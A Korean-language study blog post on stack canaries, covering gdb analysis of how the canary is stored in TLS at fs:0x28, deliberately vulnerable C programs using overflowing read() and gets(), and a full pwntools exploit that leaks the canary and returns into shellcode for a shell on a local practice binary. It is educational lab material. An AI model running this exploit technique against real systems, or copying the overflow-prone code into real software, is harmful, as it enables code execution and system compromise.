아래 글을 보고 읽으면 더 이해가 잘 될 것이다

 

[시스템] 스택 카나리 우회(Canary)

이전 학습 ↓ [시스템] 스택 카나리 분석(Canary)카나리 정적 분석 스택 버퍼 오버플로우 취약점이 존재하는 코드#include int main() { char buf[8]; read(0, buf, 32); return 0;}   gcc는 기본적으로 스택 카나

fight-hacker.tistory.com

 

 

 


 

코드 설명

buf 주소 및 rbpbuf 사이의 주소 차이를 출력하고

(버퍼의 주소를 알거나 구할 수 있어야 공격이 가능)

스택 버퍼인 buf에 두 번의 입력을 받는다

이때 두 번 모두 오버플로우가 발생한다

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x50];

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

 

스택 구조

 

+------------------------+  <- 낮은 주소
| buf[0x50] (80 bytes) |  <- 입력 버퍼
+------------------------+
Canary                 |  <- 스택 카나리 (스택 오버플로우 방지)
+------------------------+
| Saved $rbp           |  <- 이전 프레임의 베이스 포인터
+------------------------+
| Return Address    | <- 복귀 주소 
+------------------------+  <- 높은 주소

 

 

 

두번째 입력으로 반환 주소(rbp)를 덮을 수 있지만, 중간에 카나리까지 덮여진다

카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료된다

 

그러므로 첫 번째 입력에서 buf에 오버플로우를 발생시켜서

카나리 값을 알아낸 후 이를 두 번째 입력에 사용해야 한다

 

 

 


실습

 

 

 

위 소스코드를 컴파일

-zexecstack 옵션은 스택에 실행 권한을 부여하여, 스택에서 실행되는 코드를 허용함

 

 

 

 

리눅스에는 다양한 바이너리 보호기법이 존재

checksec - 보호기법을 파악할 때 사용하는 툴

RELRO, STACK CANARY, PIE 등의 보호기법이 적용되어 있는 것을 확인

 

 

 

 

 

익스플로잇 코드

 

def slog(n, m): return success(': '.join([n, hex(m)]))

익스플로잇 진행 중 로그를 표시한다

 

p = process('./r2s')

바이너리를 실행하여 프로세스 시작

 

p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)

프로그램 출력에서 "buf: "까지 읽는다

buf의 주소를 16진수로 변환하여 저장

 

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8

buf와 $rbp 사이의 거리를 계산

buf카나리 사이의 거리를 계산

 

payload = b'A'*(buf2cnry + 1)
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))

buf카나리 사이의 거리(buf2cnry)만큼 패딩('A')을 채워 카나리를 노출

+1은 첫 번째 null 바이트를 고려한 추가 길이다

p.sendafter - 카나리 값을 읽기 위해 패이로드를 전송

노출된 카나리 값을 읽고 64비트 정수로 변환한다(카나리는 항상 첫 바이트는 널이므로 \x00으로 채운다)

 

sh = asm(shellcraft.sh())

pwntools의 쉘코드 생성 기능을 사용해 쉘을 실행하는 기계어 코드를 생성

 

payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)

스택에 실행 가능한 쉘코드 + 패딩(카나리까지 거리) + 알아낸 카나리 값 + 패딩(8 바이트) + buf

|              buf[0x50] (80 bytes)                                   | + |        Canary        | + | Saved $rbp| + | Return Address |

리턴 주소를 buf로 덮어써서 buf의 쉘코드가 실행되도록 한다

 

p.interactive()

익스플로잇 실행 후, 쉘과 상호작용할 수 있는 상태로 진입

 

 

 

전체 코드

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = process('./r2s')

context.arch = 'amd64'

# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)

# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte

p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)

p.interactive()

 

 

 

익스플로잇 코드 실행 결과

 

 

성공!

 

이전 학습 ↓

 

[시스템] 스택 카나리 분석(Canary)

카나리 정적 분석 스택 버퍼 오버플로우 취약점이 존재하는 코드#include int main() { char buf[8]; read(0, buf, 32); return 0;}   gcc는 기본적으로 스택 카나리를 적용하여 컴파일한다-fno-stack-protector 옵션

fight-hacker.tistory.com

 

 

[시스템] 스택 카나리 생성 과정(Canary)

이전 학습 ↓ [시스템] 스택 카나리 분석(Canary)카나리 정적 분석 스택 버퍼 오버플로우 취약점이 존재하는 코드#include int main() { char buf[8]; read(0, buf, 32); return 0;}   gcc는 기본적으로 스택 카나

fight-hacker.tistory.com

 

 

 

스택 카나리 우회

 

무차별 대입 

거의 불가능

 

TLS 접근

TLS 주소는 매 실행마다 바뀌지만, 만약 실행 중에 TLS의 주소를 알 수 있

임의 주소에 대한 읽기 또는 쓰기가 가능하다면 카나리 값을 읽거나 임의로 조작할 수 있다

그러면, 스택 버퍼 오버플로우를 수행할 때, 카나리 값으로 스택 카나리를 덮으면 

카나리 검사를 우회할 수 있다

 

 

스택 카나리 릭

가장 현실적인 우회 기법

다음과 같은 코드는 카나리 값을 읽을 수 있는 취약점이 존재한다

#include <stdio.h>
#include <unistd.h>

int main() {
  char memo[8];
  char name[8];
  
  printf("name : ");
  read(0, name, 64);
  printf("hello %s\n", name);
  
  printf("memo : ");
  read(0, memo, 64);
  printf("memo %s\n", memo);
  return 0;
}

 

| memo[8]          |  <= 먼저 위치
|---------------------|
| name[8]          |  <= 뒤에 위치
|---------------------|
| Canary (8 bytes) |  <= 스택 카나리
|---------------------|
| Return Address  |  <= 반환 주소

 

 

read() 호출 시, 버퍼 크기를 초과한 데이터를 입력받을 수 있다

name은 8바이트 크기인데, read()는 64바이트를 읽어오므로, 초과된 데이터는 스택의 name 바로 뒤에 위치한

카나리와 다른 데이터를 침범하게 된다

 

memo가 name보다 먼저 위치한다(낮은 주소에 저장 된다)

 

이 구조를 통해 name 버퍼를 오버플로우하면 카나리를 포함한 memo 영역을 읽을 수 있다

 

 

 

 

 

 


실습

 

 

바이너리 실행

9바이트 이상 입력 시 카나리 변조가 탐지되어 프로그램 강제 종료

오버 플로우로 카나리 값도 노출

 

 

 

카나리 값을 hex dump로 출력하는 방법

 

 

 

스택 구조 확인

memo[8]에 입력할 때,

문자열(8 byte) + 문자열 (8 byte) + 알아낸 카나리 값 + 원하는 실행 주소

를 넣으면 카나리 탐지를 우회하고 오버플로우 공격을 수행할 수 있다

이전 학습 ↓

 

[시스템] 스택 카나리 분석(Canary)

카나리 정적 분석 스택 버퍼 오버플로우 취약점이 존재하는 코드#include int main() { char buf[8]; read(0, buf, 32); return 0;}   gcc는 기본적으로 스택 카나리를 적용하여 컴파일한다-fno-stack-protector 옵션

fight-hacker.tistory.com

 


카나리 생성 과정

 

카나리 값은 프로세스가 시작될 때, TLS에 전역 변수로 저장된다

TLS에 카나리 값이 저장되는 과정을 분석해보자

 

fsTLS를 가리키므로 fs 값만 알면 TLS 주소를 알 수 있다

하지만 리눅스에서 fs 값은 특정 시스템 콜을 사용해야만 조회 가능하다

 

그래서 fs 값을 설정할 때 호출되는 arch_prctl(int code, unsigned long addr) 시스템 콜에 중단점을 설정한다

 

 

catch 명령어는 특정 이벤트가 발생했을 때, 프로세스를 중지시킨다

arch_prctl에 catchpoint를 설정하고 canary를 실행한다

 

 

 

init_tls() 안에서 catchpoint에 도달할 때까지 countinue 명령어 실행

 

 

rdi 값이 0x1002이며, 이 값은 ARCH_SET_FS의 상숫값이다

rsi 값이0x7ffff7fa8740이므로, 이 프로세스는 TLS 0x7ffff7fa8740에 저장할 것이다

 

 

카나리가 저장될 fs+0x28 (0x7ffff7fa8740 + 0x28) 값에는 아직 어떠한 값도 설정되어 있지 않음

(리눅스는 TLS의 0x28 오프셋에 카나리를 저장함)

x/gx: 8바이트 단위로 메모리 값을 출력

 

 

 

TLS+0x28에 값을 쓸 때 프로세스를 중단시킨다

watch는 특정 주소에 저장된 값이 변경되면 프로세스를 중단시키는 명령어다

 

 

 

watchpoint를 설정하고 프로세스를 진행시키면 security_init 함수에서 프로세스가 멈춘다

 

 

 

여기서 TLS+0x28의 값을 조회하면 카나리가 설정된 것을 확인 가능

 

 

 

실제로 이 값이 main 함수에서 사용하는 카나리값인지 확인하기 위해

main 함수에 중단점 설정하고 진행

ni 명령어로 한 줄 씩 실행

 

 

rax 값을 확인해보면 security_init에서 설정한 값과 같은 것을 확인 가능(0x33225375db8eb500)

 

 

 

 

 

 

 

 

 

카나리 정적 분석

 

스택 버퍼 오버플로우 취약점이 존재하는 코드

#include <unistd.h>

int main() {
  char buf[8];
  read(0, buf, 32);
  return 0;
}

 

 

 

gcc는 기본적으로 스택 카나리를 적용하여 컴파일한다

-fno-stack-protector 옵션으로 카나리 없이 컴파일 가능

버퍼 오버플로우 경고문이 뜨면서 컴파일됨

 

 

바이너리를 실행하고 긴 문자열을 입력하면 반환 주소가 덮여서 Segmentation fault가 발생

 

 

 

 

카나리를 활성화하여 컴파일하고 실행하면

stack samshing detected, Aborted 에러가 발생

→  스택 버퍼 오버플로우가 탐지되어 프로세스가 강제 종료됐다는 뜻

 

 

 

 

 

 


 

카나리 동적 분석

 

이제 카나리가 적용된 바이너리를 분석해보자

 

 

 

중단점을 설정하고 바이너리를 실행시킨다

 

 

 

<main+12> fs:0x28의 데이터를 읽어서 rax에 저장한다

fs는 세크먼트 레지스터의 일종으로, 리눅스는 프로세스가 시작될 때, fs:0x28에 랜덤 값을 저장한다

따라서 rax에 리눅스가 생성한 랜덤 값이 저장된다 

fs
cs, ds, es는 CPU가 사용 목적을 명시한 레지스터인 반면, fs와 gs는 목적이 정해지지 않아 운영체제가 임의로 사용할 수 있는
레지스터이다. 리눅스는 fs를 Thread Local Storage(TLS)를 가리키는 포인터로 사용한다. TLS에는 카나리를 비롯하여 
프로세스 실행에 필요한 여러 데이터가 저장된다.

 

 

 

 

코드를 두 줄 실행하면 rax에 첫 바이트가 널 바이트인 8바이트 데이터가 저장된다

 

 

 

코드를 한 줄 더 실행한다

 

 

 

그러면 rax에 저장된 랜덤값은 rbp-0x8에 저장된다

 

 

<main+54>에 중단점을 설정하고 H*16를 입력한다

rbp-0x8에 저장된 카나리 값이 버퍼 오버플로우로 인해 0x4848484848484848('HHHHHHHH')이 됨

 

 

<main+58>의 연산 결과가 0이 아니므로 <main+69>__stack_chk_fail 을 실행하게 됨

→  프로세스가 강제로 종료됨

 

 

 

 

 

+ Recent posts